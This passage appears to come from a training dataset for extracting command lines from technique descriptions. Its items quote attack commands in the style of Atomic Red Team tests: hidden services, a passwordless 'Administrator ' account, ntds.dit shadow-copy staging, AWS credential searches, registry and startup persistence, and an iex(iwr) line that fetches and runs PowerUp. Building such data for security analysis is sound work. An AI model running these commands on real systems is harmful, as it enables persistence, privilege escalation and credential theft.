intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To create a user with a username that has a trailing space, use the following command: New-LocalUser -Name \"Administrator \" -NoPassword; This technique involves creating a service and altering its security descriptor via sc.exe, effectively hiding it from standard service queries. Execute these commands to implement it:\nsc.exe create #{service_name} binPath= \"#{executable_command}\"\nsc sdset #{service_name} \"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\"", "output": "{\"command_list\": [\"New-LocalUser -Name \\\"Administrator \\\" -NoPassword\", \"sc.exe create #{service_name} binPath= \\\"#{executable_command}\\\"\\nsc sdset #{service_name} \\\"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To create a Volume Shadow Copy for ntds.dit extraction on a domain controller, execute the following sequence: mkdir c:\\exfil\ndiskshadow.exe /s #{filename}\n; To locate local AWS credentials within a specified directory, you can use the following command: find #{file_path}/.aws -name \"credentials\" -type f 2>/dev/null", "output": "{\"command_list\": [\"mkdir c:\\\\exfil\\ndiskshadow.exe /s #{filename}\\n\", \"find #{file_path}/.aws -name \\\"credentials\\\" -type f 2>/dev/null\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n A virtual machine can be identified when one of the device manufacturers is a virtualization software, which can be checked with the command: if (ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo 'Virtualization Environment detected'; fi;; You can determine if a machine is running in a virtualized environment by running this command, which checks the manufacturer and model details: $Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Manufacturer\"\n$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Model\"\nif((($Manufacturer.ToLower() -eq \"microsoft corporation\") -and ($Model.ToLower().contains(\"virtual\"))) -or ($Manufacturer.ToLower().contains(\"vmware\")) -or ($Model.ToLower() -eq \"virtualbox\")) {write-host \"Virtualization environment detected!\"} else {write-host \"No virtualization environment detected!\"}\n", "output": "{\"command_list\": [\"if (ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo 'Virtualization Environment detected'; fi;\\n\", \"$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \\\"Manufacturer\\\"\\n$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \\\"Model\\\"\\nif((($Manufacturer.ToLower() -eq \\\"microsoft corporation\\\") -and ($Model.ToLower().contains(\\\"virtual\\\"))) -or ($Manufacturer.ToLower().contains(\\\"vmware\\\")) -or ($Model.ToLower() -eq \\\"virtualbox\\\")) {write-host \\\"Virtualization environment detected!\\\"} else {write-host \\\"No virtualization environment detected!\\\"}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following command will insert a new line into the user's .bash_profile: echo '#{command_to_add}' >> ~/.bash_profile\n; To append a command to the current user's .bashrc file, use the following command: echo '#{command_to_add}' >> ~/.bashrc\n", "output": "{\"command_list\": [\"echo '#{command_to_add}' >> ~/.bash_profile\\n\", \"echo '#{command_to_add}' >> ~/.bashrc\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can place a benign executable shortcut in the current user's startup directory by executing this PowerShell command:\n$Target = \"C:\\Windows\\System32\\calc.exe\"\n$ShortcutLocation = \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\"\n$WScriptShell = New-Object -ComObject WScript.Shell\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\n$Create.TargetPath = $Target\n$Create.Save(); This technique adds persistence by modifying the Recycle Bin's behavior, executing calc.exe upon clicking, with the command: reg ADD \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\\command\" /ve /d \"calc.exe\" /f", "output": "{\"command_list\": [\"$Target = \\\"C:\\\\Windows\\\\System32\\\\calc.exe\\\"\\n$ShortcutLocation = \\\"$home\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\calc_exe.lnk\\\"\\n$WScriptShell = New-Object -ComObject WScript.Shell\\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\\n$Create.TargetPath = $Target\\n$Create.Save() \", \"reg ADD \\\"HKCR\\\\CLSID\\\\{645FF040-5081-101B-9F08-00AA002F954E}\\\\shell\\\\open\\\\command\\\" /ve /d \\\"calc.exe\\\" /f\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To modify the registry and redirect the Startup folder, first create the new directory and copy the payload, then update the registry using the following commands:\nNew-Item -ItemType Directory -path \"#{new_startup_folder}\"\nCopy-Item -path \"#{payload}\" -destination \"#{new_startup_folder}\"\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Startup\" -Value \"#{new_startup_folder}\"\n; This test modifies the registry to execute calc.exe at startup by running the following PowerShell commands, which require a system reboot to take effect: \nif (!(Test-Path -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\")){\n New-Item -ItemType Key -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\n}\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\" -Value \"#{payload}\"", "output": "{\"command_list\": [\"New-Item -ItemType Directory -path \\\"#{new_startup_folder}\\\"\\nCopy-Item -path \\\"#{payload}\\\" -destination \\\"#{new_startup_folder}\\\"\\nSet-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\\\" -Name \\\"Startup\\\" -Value \\\"#{new_startup_folder}\\\"\\n\", \"if (!(Test-Path -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\")){\\n New-Item -ItemType Key -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\"\\n}\\nSet-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\" -Name \\\"#{target_key_value_name}\\\" -Value \\\"#{payload}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n When searching for bookmark files in Chrome and Opera on Windows, execute this command to display their paths: Get-ChildItem -Path C:\\Users\\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force; For finding bookmark files from Chrome and Edge Chromium browsers on Windows, execute this command: where /R C:\\Users\\ Bookmarks", "output": "{\"command_list\": [\"Get-ChildItem -Path C:\\\\Users\\\\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force\\n\", \"where /R C:\\\\Users\\\\ Bookmarks\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by 